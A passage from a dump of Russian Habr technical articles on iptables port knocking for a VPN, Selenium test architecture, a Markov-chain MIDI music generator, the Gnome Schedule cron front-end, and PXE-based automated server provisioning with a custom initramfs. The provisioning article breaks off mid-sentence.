--icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set ! --match-set knock1 src -m set ! --match-set knock2 src -m set ! --match-set knock3 src -m set ! --match-set AllowedVPN src -j SET --add-set knock1 src ``` **Те же правила, но с логированием в системный журнал** ``` iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set --match-set knock1 src -m set --match-set knock2 src -m set --match-set knock3 src -m set ! --match-set AllowedVPN src -j LOG --log-prefix "(KNOCK4 O) " iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set --match-set knock1 src -m set --match-set knock2 src -m set --match-set knock3 src -m set ! --match-set AllowedVPN src -j SET --add-set AllowedVPN src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set --match-set knock1 src -m set --match-set knock2 src -m set ! --match-set knock3 src -m set ! --match-set AllowedVPN src -j LOG --log-prefix "(KNOCK3 O) " iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set --match-set knock1 src -m set --match-set knock2 src -m set ! --match-set knock3 src -m set ! --match-set AllowedVPN src -j SET --add-set knock3 src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set --match-set knock1 src -m set ! --match-set knock2 src -m set ! --match-set knock3 src -m set ! --match-set AllowedVPN src -j LOG --log-prefix "(KNOCK2 O) " iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set --match-set knock1 src -m set ! --match-set knock2 src -m set ! --match-set knock3 src -m set ! --match-set AllowedVPN src -j SET --add-set knock2 src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set ! --match-set knock1 src -m set ! --match-set knock2 src -m set ! --match-set knock3 src -m set ! --match-set AllowedVPN src -j LOG --log-prefix "(KNOCK1 O) " iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set ! --match-set knock1 src -m set ! --match-set knock2 src -m set ! --match-set knock3 src -m set ! --match-set AllowedVPN src -j SET --add-set knock1 src ``` #### «Самое главное» правило Именно это правило и разрешает входящее соединение на порт 1194/tcp, если IP адрес с которого производиться соединение, находиться в ipset-е AllowedVPN. ``` config 'rule' option enabled 1 option 'target' 'ACCEPT' option 'name' 'VPN' option 'src' 'wan' option 'proto' 'tcp' option 'dest_port' '1194' option 'extra' '-m set --match-set AllowedVPN src' ``` Иначе его можно прописать в /etc/firewall.user ``` iptables -A input_rule -p tcp --dport 1194 -m set --match-set AllowedVPN src -j ACCEPT ``` #### Port knocking Произвести Port knocking в Windows можно командой: **ping readyshare.mydomain.ua -l 70 -n 2 && ping readyshare.mydomain.ua -l 100 -n 2** ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/8fa/e38/87d/8fae3887dec82c298595cdd6a2f7b3cb.png) #### Закрытие доступа Полностью расписывать логику не буду, т.к. она очень схожа с описанной выше, просто логика проверки в правилах инвертирована и происходит удаление из ipset-ов. Ну и соответственно если IP адреса нет в ipset-e AllowedVPN — то и нет доступа. Последовательность «стуков» такая же как и при открытии доступа. Ниже приведена последовательность команд iptables для занесения в цепочку input\_rule, файл **/etc/firewall.user** ``` iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set ! --match-set knock1 src -m set ! --match-set knock2 src -m set ! --match-set knock3 src -m set --match-set AllowedVPN src -j SET --del-set AllowedVPN src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set ! --match-set knock1 src -m set ! --match-set knock2 src -m set --match-set knock3 src -m set --match-set AllowedVPN src -j SET --del-set knock3 src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set ! --match-set knock1 src -m set --match-set knock2 src -m set --match-set knock3 src -m set --match-set AllowedVPN src -j SET --del-set knock2 src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set --match-set knock1 src -m set --match-set knock2 src -m set --match-set knock3 src -m set --match-set AllowedVPN src -j SET --del-set knock1 src ``` **Те же правила для блокирования, но с логированием в системный журнал** ``` iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set ! --match-set knock1 src -m set ! --match-set knock2 src -m set ! --match-set knock3 src -m set --match-set AllowedVPN src -j LOG --log-prefix "(KNOCK4 C) " iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set ! --match-set knock1 src -m set ! --match-set knock2 src -m set ! --match-set knock3 src -m set --match-set AllowedVPN src -j SET --del-set AllowedVPN src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set ! --match-set knock1 src -m set ! --match-set knock2 src -m set --match-set knock3 src -m set --match-set AllowedVPN src -j LOG --log-prefix "(KNOCK3 C) " iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set ! --match-set knock1 src -m set ! --match-set knock2 src -m set --match-set knock3 src -m set --match-set AllowedVPN src -j SET --del-set knock3 src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set ! --match-set knock1 src -m set --match-set knock2 src -m set --match-set knock3 src -m set --match-set AllowedVPN src -j LOG --log-prefix "(KNOCK2 C) " iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set ! --match-set knock1 src -m set --match-set knock2 src -m set --match-set knock3 src -m set --match-set AllowedVPN src -j SET --del-set knock2 src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set --match-set knock1 src -m set --match-set knock2 src -m set --match-set knock3 src -m set --match-set AllowedVPN src -j LOG --log-prefix "(KNOCK1 C) " iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set --match-set knock1 src -m set --match-set knock2 src -m set --match-set knock3 src -m set --match-set AllowedVPN src -j SET --del-set knock1 src ``` Надеюсь мой опыт пригодиться другим. Хорошая [презентация](http://www.qccolab.com/wp-content/uploads/2013/04/ipset-slides.pdf) по ipset-ам Chris Cooper-а из QC Co-Lab, от которой я начал отталкиваться при построении решения.
https://habr.com/ru/post/198108/
null
ru
null
# Сказ о Selenium тестировании ![](https://habrastorage.org/r/w1560/storage3/e3a/8cc/80c/e3a8cc80c6b4feb9e935a84ac1f18613.png)Когда перед вашей командой стоит задача написать действительно крупный проект, всегда становится задача тестировать написанный код. Если сервер тестировать относительно легко, то JS код чаще всего тестировать просто невозможно в связи с его природой. Природу JS решила обойти отличная команда разработчиков, которая создала уникальный в своем роде продукт, который позволяет написать приемочные тесты, которые будут взаимодействовать на прямую с браузером. У них получилось очень и очень круто, но грабли были, есть и будут. По этому я расскажу о граблях, которые обычно встречаю во время работы с данным прекрасным продуктом. А поговорим о следующем: 1. Архитектура тестов 2. Запуск тестов 3. Кодовая база 4. Таймауты 5. Взаимодействие кода тестов и браузера. 6. Разные среды исполнения 7. Баги драйверов и самого селениума Данная статья больше ориентирована на новичков, чем на профессионалов. #### Архитектура тестов Часто встает вопрос, как спроектировать тесты, чтоб сократить написание кода и не заниматься копипастом. Обычно используются generic файлы, которые наследуют unitTest класс вашего языка. У нас всегда есть возможность изменить поведение для какой-то группы тестов, не затрагивая другие группы. К примеру: ``` unittest.py seleniun/ - generic.py menu/ - generic.py - menuActionTest.py - menuDisableTest.py articles/ - generic.py - articlesLoadTest.py - articlesActionsTest.py ``` Когда вы отделяете функционал по категориям, выносите его в директории, а в каждой директории создавайте свой generic. Каждый тест должен наследовать класс generic с которым он лежит в директории. Generic может быть даже пустым, в будущем он пригодится, даю гарантию. #### Запуск тестов Разница между юнит тестами и приемочными тестами заключается, что в unittest обычно тестируют алгоритмы и логику, а приемочные уже тестируют саму систему, с реальными данными, которые получают из работающей БД. ##### База данных Задача всех тестов, быть изолированными друг от друга. А значит на каждый запуск теста, нужно создавать новую тестовую БД. У каждого unittest функционала языка есть метод setUp, который вызывается перед запуском теста. Попробуйте в нем изменить настройки до иницилизации базы данных. Так вы сможете полностью изолироваться от других тестов и существующих данных, а если вы еще используете механизмы кэширования, очистите кэш или воспользуйтесь пустым хранилищем кэша как и с БД. ##### Фикстуры По сути, это данные которые будут записаны в вашу тестовую БД, для того чтоб браузер открыл сайт и не получил ошибок. Базовые данные стоит записать в setUp методе главного generic`a. А остальные записывать по мере потребностей данных в самих тестах. ##### Сохранение данных базы Создайте путь для возможного дебага, часто бывает так, что тесты по не понятной причине глохнут с ошибкой, часто бывает что нужно сохранить базу и оставить браузер в живых. Возможно вам и sleep подойдет? Если вы сделали функционал сохранения базы, сделайте так-же функционал очистки старых баз. У меня к примеру mongoDB смог за неделю разработки создать 80гб баз данных. ##### Передача подключения Когда открывается браузер, запомните, он никак не связан с вашим тестом. Если селениум просто откроет браузер и начнет выполнять операции, скорее всего он будет выполнять их над существующим проектом. Передайте в браузер параметры, которые помогут идентифицировать нужную тестовую базу. В свое время, браузер должен будет передать информацию на сервер. #### Кодовая база Вот тут вам нужно будет сесть и подумать, как сделать для самого себя жизнь прекрасней. К примеру, у вас асинхронное многопользовательское real time приложение(игра), нужно писать тесты где могут взаимодействовать два и более пользователей. Посмотрите, будет ли вам удобно переключатся между окнами браузера с помощью драйвера? Нет, напишите свою простую реализацию. Нужно собственные assert`ы? К примеру проверить существование элемента в дереве? Вполне вероятно, что у вашего проекта есть свои особенности и нужно подготовить некоторую функциоальную часть тестов для этого. #### Таймауты Всегда при тестировании, нам нужно будет выполнять таймауты. Толи это будет загрузка страницы, ajax или socket запрос на сервер. С загрузкой страницы драйвера содержат встроенный метод для ожидания. Но вот с ajax и socket запросами всё сложнее. Вам нужно будет написать счетчик отправленных запросов и полученных ответов. Когда вы отправляем запрос, счетчик инкрементится, когда приходит ответ, декрементится. В самом generic`e реализовываем метод, который будет проверять данный счетчик и если он не равен 0, то пусть ждет, но ограничивайте ожидание, ответ от сервера может и не прийти. #### Взаимодействие кода тестов и браузера. Порой нам нужно будет получать состояния или какие-то данные, для проверки их значений с ожидаемыми. Сразу напишите пути получения этих данных. К примеру если вы используете AngularJS, то чтоб получить доступ к данным сервиса, напишите прослойку для этого. Если нету какой-то возможности с помощью тестов эмулировать действия пользователя, то нужно вызывать обработчики этих событий. Дайте возможность тестам стучаться к исполняемому JS коду. #### Разные среды исполнения Чаще всего получается так, что тест работает у вас на компе, но не работает у других. Это может быть связано с ОС, версией селениума, разрешением монитора и вплоть до версий браузера. Советую, заведите себе дешевый VPS, на котором вы сможете запускать тесты. На серверной линухе можно запускать тесты прямо из браузера. К примеру ман, который мне помог [www.alittlemadness.com/2008/03/05/running-selenium-headless](http://www.alittlemadness.com/2008/03/05/running-selenium-headless/) В добавок, вы сэкономите свое время, пока будете ожидать завершения тестов. Не забудьте, браузер весьма требовательный по оперативке, добавьте хороший запас swap. #### Баги драйверов и самого селениума Первое, посетите [code.google.com/p/selenium/issues/list](https://code.google.com/p/selenium/issues/list) и пробегитесь глазами по багам. Второе, если вы уверены, что это обязано работать, пройдитесь JS дебагом по коду. Вполне вероятно что вы найдете место, которое бажит по вине самого селениума или драйвера. К примеру я наткнулся на баг, когда при mouse move, chomedriver не передает событие which, которе отвечает за текущую нажатую кнопку мыши. Так-же известная неприятность, которая связа со скролами. Селениум ничего не умеет скролить кроме скролла у body. Решения два. Писать функцию скролла или на сервере ставить большое разрешение виртуального монитора. Часто тесты могут глючить из-за таймаутов. Воспользуйтесь функционалом, который сможет повторят тесты. Дайте ему возможность на сервере перезапускать тест раза 3. Если тест валится, значит он не рабочий, если он валится периодически, проблемы в таймаутах, которые не заметны пользователю, но заметны самому селениуму. #### На последок Тестируйте и всегда покрывайте тестами исправленные баги. Не важно на сколько долго будут исполняться тесты, главное чтоб ваше детище работало всегда стабильно.
https://habr.com/ru/post/196152/
null
ru
null
# Как машинное обучение позволяет создавать музыку [![](https://habrastorage.org/r/w780q1/files/e89/867/bd9/e89867bd955a4e1c9884f99b15028256.jpg)](http://geektimes.ru/company/audiomania/blog/250458/) *Сегодня мы поговорим об [исследовании](http://zx.rs/3/Markov-Composer---Using-machine-learning-and-a-Markov-chain-to-compose-music/), рассматривающем звук и музыку с точки зрения математики и программирования. Такой подход позволяет оценить многогранную природу всего того, что мы привыкли слушать по дороге на работу или дома. Постараемся изложить основные моменты простыми словами.* Интересный момент в вопросе о том, что человек слышит в конкретный момент заключается в том, что он заставляет мозг сконцентрироваться на восприятии, когда какое-то событие резко выделяется из общего фона и начинает рассматриваться человеком сознательно, а не в качестве части общего окружения. Разница между чувством и навыком слуха заключается во внимании. В некоторых ситуациях внимание к определенным аспектам и нюансам позволяет перейти к зависимостям и алгоритмическому описанию, что не является редким явлением в мире музыки. Посмотрим, как для этого можно использовать машинное обучение и цепь Маркова второго порядка. #### Основная идея Цепь Маркова описывает псевдослучайный процесс перехода из одного состояния в другое без запоминания предыдущего состояния (такой переход называется «марковостью»). Короче говоря, переход из одного состояние в другое – это случайный процесс, носящий вероятностный характер. Все это хорошо ложится на алгоритмизацию музыкальных композиций. > Ноты (128 из них) – это вероятностные состояния. Для реализации всего процесса я буду использовать цепь Маркова второго порядка, а это означает, что следующее состояние системы будет строиться на основании двух предыдущих (нот). Все вероятности хранятся в матрице размерностью 2^14x2^7. На входе синтезатор получает два целых числа (0 <= n, m <= 127), выступающих в качестве начальных нот. > > > > На их основании алгоритм вычисляет/генерирует следующую ноту и продолжает процесс вычисления до бесконечности (до тех пор, пока вы его не остановите). Для упрощения задачи, громкость звучания всех нот будет одинаковой (127), как и временной интервал между ними (300 мс). Для корректной работы такого подхода необходима матрица весов, которую получают с использованием трех нот. Для каждой комбинации из трех нот первые две всегда являются «начальным» состоянием, а третья «конечным»; результатом всегда является инкрементация соответствующего поля в матрице весов [первая нота\*127+вторая нота][третья нота]. Далее матрица весов «нормализуется» (или конвертируется) в матрицу переходов путем замены целых чисел на их процентное отношение к сумме всех значений в строке. #### Процесс обучения Алгоритм, описываемый в статье, использует для обучения MIDI-файлы (с расширением .mid), он обрабатывает аудиофайл нота за нотой, параллельно обновляя матрицу весов с помощью инструмента Java под названием Sequencer. Пример кода: ``` public Learn(String midiName) { try { Sequence sequence = MidiSystem.getSequence(new File(midiName)); int id[] = {0, 0, 0}; int nArr[][] = new int[2][2]; for(Track track : sequence.getTracks()) { for(int i = 0; i < track.size(); i++) { MidiEvent event = track.get(i); MidiMessage message = event.getMessage(); if(message instanceof ShortMessage) { ShortMessage sm = (ShortMessage) message; if(sm.getCommand() == NOTE_ON) { int key = sm.getData1(); for(int j = 0; j < 2; j++) { if(id[j] == 2) { id[j] = 0; Score.updateWeight(nArr[j][0], nArr[j][1], key); } else { nArr[j][id[j]++] = key; } } } } } } cnt++; } catch(InvalidMidiDataException|IOException e) { e.printStackTrace(); } } ``` #### Выбор правильной ноты Данный процесс основан на случайных величинах: текущем состоянии (последние две ноты последовательности) и матрице переходов, полученной ранее. Вероятность генерируется случайно, с помощью функции Java Math.random(). Затем алгоритм просматривает матрицу переходов и возвращает ту вероятность, которая совпала (или оказалась наиболее близка) с вероятностью, сгенерированной функцией Math.random(). Результат воспроизводится с помощью инструмента Synthesizer – результат определяется двумя начальными нотами, сгенерированными случайным образом или выбранными пользователем. ![](//habrastorage.org/r/w780q1/files/407/096/c50/407096c501044883b687823115e1024e.jpg) Вот [пример](http://zx.rs/mp3/Piano1.mp3) композиции, созданной программой Markov composer, а на изображении выше представлен интерфейс [приложения](https://github.com/anbud/MarkovComposer).
https://habr.com/ru/post/379535/
null
ru
null
# Автоматическое выполнение задач с Gnome Schedule ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/1f4/70b/655/1f470b655df0f6cbdcdba257ff52b9a5.jpg)Хотели ли бы вы, чтобы регулярно выполняемые задачи на компьютере запускались автоматически? В линуксе для расписания и выполнения задач проще всего использовать crontab. Это приложение, запускающееся из командной строки, позволяет выполнять команды и скрипты, в автоматическом режиме, в заданное время/дату. А для тех, кто не любит интерфейс командной строки, существует [Gnome Schedule](http://gnome-schedule.sourceforge.net/) — графический эквивалент crontab. Он использует мощь [vixie-cron](http://en.wikipedia.org/wiki/Cron), dcron и [at](http://en.wikipedia.org/wiki/At_%28Unix%29), для управления файлом crontab’а, и предоставляет легкий способ организации расписания выполнения задач на компьютере. Будь то планирование постоянных задач или задачи выполняемой один раз, Gnome Schedule обработает их без проблем. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/e4a/d75/45e/e4ad7545e77664454670c962f86bee14.jpg) **#### Установка** Gnome Schedule можно найти в репозиториях большинства линукс-дистрибутивов, поэтому установка его довольна проста. Если вы используете Убунту, то легко можете установить Gnome Schedule в Synaptic Package Manager, или прямо из консоли, набрав следующую команду: `sudo apt-get install gnome-schedule` **#### Использование** При планировании новой задачи, необходимо выбрать повторяющаяся эта задача или однократная. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ce7/f95/57e/ce7f9557e46cdabce1022ee4cc708f36.jpg) Для однократно выполняемой задачи, вам предложат ввести описание задачи, дату и время ее запуска, и код который необходимо выполнить. Кстати термин «однократно выполняемая задача», не подразумевает выполнения только одной задачи. Вы легко можете настроить Gnome Schedule для запуска нескольких команд и выполнения различных задач в одно и то же время. Например, вы можете остановить все приложения, очистить trash bin, и выключить компьютер в 10 вечера. Вам только необходимо убедиться что вы вводите каждую команду с новой строки, и в нужной последовательности. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/db3/29a/90c/db329a90c375d174c0debc09bc027537.jpg) Также для вас присутствует кнопка добавления текущей задачи в качестве шаблона. С шаблоном вам не понадобиться вводить настройки для этой задачи снова и снова. В повторяющемся режиме, вы можете описать задачу, запускаемую каждую неделю, час, минуту, секунду, или при каждой перезагрузке системы. Если вам нужен более точный контроль, можно перейти в расширенный режим, и редактировать расписание вручную. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/1d0/23a/50d/1d023a50d51ea5274ee8fef05143d538.jpg) ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/8b9/ee9/ab2/8b9ee9ab28ce545da318884db7a471d8.jpg) По умолчанию, Gnome Schedule не разрешает выполнять команды, требующие права администратора. Для планирования задач, затрагивающих системные настройки, прежде чем добавлять задачи в расписание, вы должны запустить Gnome Schedule в режиме суперпользователя. Для того чтобы сделать это, нужно запустить Gnome Schedule из терминала: `gksu gnome-schedule` В режиме суперпользователя, вы также можете редактировать расписания задач других пользователей. **#### Заключение** Gnome Schedule простое и легкое в использовании приложение, для планирования и автоматизации выполняемых задач в Линуксе. Оно не требует запоминать и учить инструкцию создания cron job в командной строке. Единственное что вам необходимо знать, это команды терминала, запускающие нужные вам задачи. Однако было бы здорово, если бы разработчик включил некоторые, заранее определенные стандартные задачи вроде выключения, очистки мусора, закрытия всех окон и т.д.
https://habr.com/ru/post/50944/
null
ru
null
# Bare-Metal Provisioning своими руками, или Автоматическая подготовка серверов с нуля Привет, я Денис и одно из моих направлений деятельности – разработка инфраструктурных решений в X5. Сегодня хотел бы поделиться с вами о том, как можно на базе общедоступных инструментов развернуть автоматическую систему подготовки серверов. На мой взгляд, это интересное, простое и гибкое решение. ![](https://habrastorage.org/r/w1560/webt/cs/aj/wx/csajwx5dsd-sdlngyst-pfrollu.png) Под подготовкой подразумевается: сделать из нового сервера из коробки, полностью настроенный сервер с о.с. Linux или c гипервизором ESXi (разливка серверов Windows в данной статье не обсуждается). **Термины**: * серверы – серверы, которые необходимо настроить. * инсталл-сервер – основной сервер, который обеспечивает весь процесс подготовки по сети. ### Зачем нужна автоматизация? Допустим, есть задача: массово подготавливать сервера с нуля, в пике – 30 в день. Сервера разных производителей и моделей, на них могут устанавливаться различные ОС, может иметься или отсутствовать гипервизор. Какие операции входят в процесс настройки (без автоматизации): * подключить клавиатуру, мышь, монитор к серверу; * настроить BIOS, RAID, IPMI; * обновить прошивки компонентов; * развернуть образ файловой системы (либо установить гипервизор и скопировать виртуальные машины); Примечание. Как вариант, деплой ОС возможен через установку с файлом автоответов. Но это не будет обсуждаться в статье. Хотя ниже вы увидите, что добавить этот функционал несложно. * настроить параметры ОС (hostname, IP, прочее). При данном подходе выполняются одинаковые настройки последовательно на каждом сервере. Эффективность такой работы очень низкая. Суть автоматизации – исключить участие человека из процесса подготовки сервера. Максимально, насколько это возможно. Благодаря автоматизации сокращается время простоя между операциями и появляется возможность подготовить несколько серверов одновременно. Также сильно снижается вероятность возникновения ошибок из-за человеческого фактора. ![](https://habrastorage.org/r/w1560/webt/g7/ic/x1/g7icx1q3tb0yanpntf9jmw8n4p4.png) ### Как происходит автоматическая настройка серверов? Разберем все этапы детально. У вас есть linux-сервер, который вы используете в качестве PXE инсталл-сервера. На нем установлены и настроены службы: DHCP, TFTP. Итак, загружаем сервер (который необходимо настроить) по PXE. Вспомним, как это работает: * На сервере выбрана загрузка по сети. * Сервер загружает PXE-ROM сетевой карты и обращается к инсталл-серверу по DHCP для получения сетевого адреса. * DHCP инсталл-сервера выдает адрес, а также инструкцию о дальнейшей загрузке через PXE. * Сервер загружает сетевой загрузчик с инсталл-сервера по PXE, дальнейшая загрузка происходит согласно конфигурационному файлу PXE. * Происходит загрузка на основе полученных параметров (ядро, initramfs, точки монтирования, образ squashfs и прочее). Примечание. В статье приводится описание загрузки по PXE через BIOS mode. В настоящее время производителями активно внедряется UEFI bootmode. Для PXE отличие будет в конфигурации DHCP-сервера и наличия дополнительного загрузчика. Рассмотрим пример конфигурации PXE-сервера (меню pxelinux). Файл pxelinux.cfg/default: ``` default menu.c32 prompt 0 timeout 100 menu title X5 PXE Boot Menu LABEL InstallServer Menu MENU LABEL InstallServer KERNEL menu.c32 APPEND pxelinux.cfg/installserver LABEL VMware Menu MENU LABEL VMware ESXi Install KERNEL menu.c32 APPEND pxelinux.cfg/vmware LABEL toolkit // меню по умолчанию MENU LABEL Linux Scripting Toolkits MENU default KERNEL menu.c32 APPEND pxelinux.cfg/toolkit // переход на следующее меню ``` Файл pxelinux.cfg/toolkit: ``` prompt 0 timeout 100 menu title X5 PXE Boot Menu label mainmenu menu label ^Return to Main Menu kernel menu.c32 append pxelinux.cfg/default label x5toolkit-auto // по умолчанию — автоматический режим menu label x5 toolkit autoinstall menu default kernel toolkit/tkcustom-kernel append initrd=toolkit/tk-initramfs.gz quiet net.ifnames=0 biosdevname=0 nfs_toolkit_ip=192.168.200.1 nfs_toolkit_path=tftpboot/toolkit nfs_toolkit_script=scripts/mount.sh script_cmd=master-install.sh CMDIS2=”…” label x5toolkit-shell // для отладки - консоль menu label x5 toolkit shell kernel toolkit/tkcustom-kernel append initrd=toolkit/tkcustom-initramfs.gz quiet net.ifnames=0 biosdevname=0 nfs_toolkit_ip=192.168.200.1 nfs_toolkit_path=tftpboot/toolkit nfs_toolkit_script=scripts/mount.sh script_cmd=/bin/bash CMDIS2=”…” ``` Ядро и initramfs на данном этапе – это промежуточный linux-образ, с помощью которого и будет происходить основная подготовка и настройка сервера. Как вы видите, загрузчик передает много параметров ядру. Часть этих параметров используется самим ядром. А некоторые мы можем использовать для своих целей. Об этом будет рассказано далее, а пока можно просто запомнить, что все переданные параметры будут доступны в промежуточном linux-образе через /proc/cmdline. Где их взять, ядро и initramfs? За основу, можно выбрать любой linux-дистрибутив. На что обращаем внимание при выборе: * загрузочный образ должен быть универсальным (наличие драйверов, возможности установки дополнительных утилит); * скорее всего, потребуется кастомизировать initramfs. Как это сделано в нашем решении для X5? В качестве основы выбран CentOS 7. Провернем следующий трюк: подготовим будущую структуру образа, упакуем ее в архив и создадим initramfs, внутри которого будет наш архив файловой системы. При загрузке образа архив будет разворачиваться в создаваемый раздел tmpfs. Таким образом мы получим минимальный, при этом полноценный live-образ linux со всеми необходимыми утилитами, состоящий всего из двух файлов: vmkernel и initramfs. ``` #создаем директории: mkdir -p /tftpboot/toolkit/CustomTK/rootfs /tftpboot/toolkit/CustomTK/initramfs/bin #подготавливаем структуру: yum groups -y install "Minimal Install" --installroot=/tftpboot/toolkit/CustomTK/rootfs/ yum -y install nfs-utils mariadb ntpdate mtools syslinux mdadm tbb libgomp efibootmgr dosfstools net-tools pciutils openssl make ipmitool OpenIPMI-modalias rng-tools --installroot=/tftpboot/toolkit/CustomTK/rootfs/ yum -y remove biosdevname --installroot=/tftpboot/toolkit/CustomTK/rootfs/ # подготавливаем initramfs: wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-x86_64 -O /tftpboot/toolkit/CustomTK/initramfs/bin/busybox chmod a+x /tftpboot/toolkit/CustomTK/initramfs/bin/busybox cp /tftpboot/toolkit/CustomTK/rootfs/boot/vmlinuz-3.10.0-957.el7.x86_64 /tftpboot/toolkit/tkcustom-kernel # создаем /tftpboot/toolkit/CustomTK/initramfs/init (ниже содержание скрипта): #!/bin/busybox sh /bin/busybox --install /bin mkdir -p /dev /proc /sys /var/run /newroot mount -t proc proc /proc mount -o mode=0755 -t devtmpfs devtmpfs /dev mkdir -p /dev/pts /dev/shm /dev/mapper /dev/vc mount -t devpts -o gid=5,mode=620 devpts /dev/pts mount -t sysfs sysfs /sys mount -t tmpfs -o size=4000m tmpfs /newroot echo -n "Extracting rootfs... " xz -d -c -f rootfs.tar.xz | tar -x -f - -C /newroot echo "done" mkdir -p /newroot/dev /newroot/proc /newroot/sys mount --move /sys /newroot/sys mount --move /proc /newroot/proc mount --move /dev /newroot/dev exec switch_root /newroot /sbin/init # упаковываем rootfs и initramfs: cd /tftpboot/toolkit/CustomTK/rootfs tar cJf /tftpboot/toolkit/CustomTK/initramfs/rootfs.tar.xz --exclude ./proc --exclude ./sys --exclude ./dev . cd /tftpboot/toolkit/CustomTK/initramfs find . -print0 | cpio --null -ov --format=newc | gzip -9 > /tftpboot/toolkit/tkcustom-initramfs-new.gz ``` Итак, мы указали ядро и initramfs, которые должны быть загружены. В результате на данном этапе, загрузив промежуточный образ linux по PXE, мы получим консоль ОС. Отлично, но теперь нужно передать управление нашей “автоматизации”. Это можно сделать так. Предположим, после загрузки образа мы планируем передавать управление в скрипт mount.sh. Включим скрипт mount.sh в автозапуск. Для этого потребуется модифицировать initramfs: * распаковать initramfs (если используем вышеприведенный вариант initramfs, это не требуется) * включить в автозагрузку код, который будет анализировать передаваемые параметры через /proc/cmdline и передавать управление дальше; * запаковать initramfs. Примечание. В случае с X5 toolkit управление загрузки передается в скрипт `/opt/x5/toolkit/bin/hook.sh с помощью override.conf в getty tty1 (ExecStart=…)` Итак, загружается образ, в котором в автозапуске стартует скрипт mount.sh. Далее скрипт mount.sh в процессе выполнения анализирует переданные параметры (script\_cmd=) и запускает необходимую программу/скрипт. label toolkit-**auto** kernel … append … nfs\_toolkit\_script=scripts/mount.sh **script\_cmd=master-install.sh** label toolkit-**shell** kernel … append … nfs\_toolkit\_script=scripts/mount.sh **script\_cmd=/bin/bash** ![](https://habrastorage.org/r/w1560/webt/w9/xc/8b/w9xc8b87fob_jooqjazqiyyiccm.png) Здесь в левой части — меню PXE, в правой – схема передачи управления. C передачей управления мы разобрались. В зависимости от выбора PXE-меню запускается либо скрипт автонастройки, либо консоль для отладки. В случае автоматической настройки монтируются необходимые директории с инсталл-сервера, в которых присутствуют: * скрипты; * сохраненные шаблоны BIOS/UEFI различных серверов; * прошивки; * утилиты для серверов; * логи. Далее скрипт mount.sh передает управление скрипту master-install.sh из директории со скриптами. Дерево скриптов (порядок их запуска) выглядит примерно так: * master-install * sharefunctions (общие функции) * info (вывод информации) * models (установка параметров инсталляции на основе модели сервера) * prepare\_utils (установка необходимых утилит) * fwupdate (обновление прошивок) * diag (элементарная диагностика) * biosconf (настройка биоса/уефи) * clockfix (настройка времени на мат. Плате) * srmconf (настройка интерфейса удаленного интерфейса) * raidconf (настройка логических томов) один из: * preinstall (передача управления установщику ОС или гипервизора, например ESXi) * merged-install (непосредственный старт распаковки образа) **Теперь мы знаем: * как загружать сервер по PXE; * как передать управление в собственный скрипт.** Продолжим. Стали актуальными следующие вопросы: * Как идентифицировать сервер, который мы подготавливаем? * Какими утилитами и как конфигурировать сервер? * Как получить настройки для конкретного сервера? ### Как идентифицировать сервер, который мы подготавливаем? Это просто – DMI: ``` dmidecode –s system-product-name dmidecode –s system-manufacturer dmidecode –s system-serial-number ``` Здесь есть все, что нужно: вендор, модель, серийный номер. Если вы не уверены, что эта информация представлена во всех серверах, можете идентифицировать их по MAC-адресу. Либо обоими способами одновременно, если вендоры серверов разные и на некоторых моделях информация о серийном номере просто отсутствует. На основе полученной информации монтируются сетевые папки с инсталл-сервера и подгружается все необходимое (утилиты, прошивки и прочее). ### Какими утилитами и как конфигурировать сервер? Приведу утилиты для linux для некоторых производителей. Все утилиты доступны на официальных сайтах вендоров. ![](https://habrastorage.org/r/w1560/webt/xx/xh/3f/xxxh3f0pg48elgtr8qn9r_wjp4q.png) С прошивками, я думаю, все понятно. Обычно они поставляются в виде упакованных исполняемых файлов. Исполняемый файл контролирует процесс обновления прошивки и сообщает код возврата. BIOS и IPMI обычно настраиваются через шаблоны. При необходимости шаблон можно редактировать перед самой загрузкой. Утилиты RAID у некоторых вендоров тоже могут настраивать по шаблону. Если это не так, то придется написать сценарий настройки. Порядок настройки RAID чаще всего следующий: * Запрашиваем текущую конфигурацию. * Если уже есть логические массивы – стираем. * Смотрим, какие физические диски присутствуют и сколько их. * Создаем новый логический массив. Прерываем процесс в случае ошибки. ### Как получить настройки для конкретного сервера? Предположим, настройки всех серверов будут храниться на инсталл-сервере. В таком случае, 